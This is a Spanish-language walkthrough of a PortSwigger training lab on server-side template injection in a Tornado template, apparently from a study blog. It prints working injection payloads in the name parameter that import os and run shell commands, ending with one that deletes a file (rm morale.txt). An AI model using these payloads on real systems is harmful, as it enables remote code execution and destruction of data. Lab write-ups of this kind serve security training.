Basic server-side template injection (code context)
Laboratorio de Portswigger sobre SSTI
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio es vulnerable a un Server Side Template Injection debido a la forma insegura en que utiliza una plantilla de Tornado. Para resolver el laboratorio, hay que revisar la documentación de Tornado para descubrir cómo ejecutar comandos y luego eliminar el archivo morale.txt del directorio personal de Carlos. Podemos iniciar sesión en nuestra propia cuenta utilizando las siguientes credenciales: wiener:peter
Guía de SSTI
Antes de completar este laboratorio es recomendable leerse esta guía de SSTI https://justice-reaper.github.io/posts/SSTI-Guide/
Resolución
Al acceder a la web nos sale esto
Pulsamos en My account y nos logueamos usando las credenciales wiener:peter
Al loguearnos vemos esto
Si nos metemos en cualquier artículo veremos que podemos comentar
En la parte de My account cambiamos el Preferred name
El nombre en el chat también cambia
Si capturamos la petición de cambio de nombre en Preferred name vemos que se está enviando un objeto
Hacemos referencia a una propiedad del objeto inexistente
1
blog-post-author-display=user.NO_EXISTE&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6
Si nos dirigimos a la parte de las publicaciones obtendremos un error mediante el cual podemos identificar el template que se está usando
Nos dirigimos a hacktricks https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tornado-python, probamos los payload para esta plantilla y vemos que funciona
1
blog-post-author-display={{7*7}}&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6
Nos vamos a https://www.tornadoweb.org/en/stable/guide/templates.html y observamos que los objetos se cargan entre {{ }}
Enviamos este payload
1
blog-post-author-display=}}{% import os %}{{os.system('whoami')&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6
Obtenemos este error
Probamos este payload en el que hacemos referencia al objeto user
1
blog-post-author-display=user.name}}{% import os%}{{os.system('ls')&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6
Vemos que se ha listado el archivo morale.txt
Borramos el archivo morale.txt y resolvemos el laboratorio
1
blog-post-author-display=user.name}}{% import os%}{{os.system('rm morale.txt')&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6












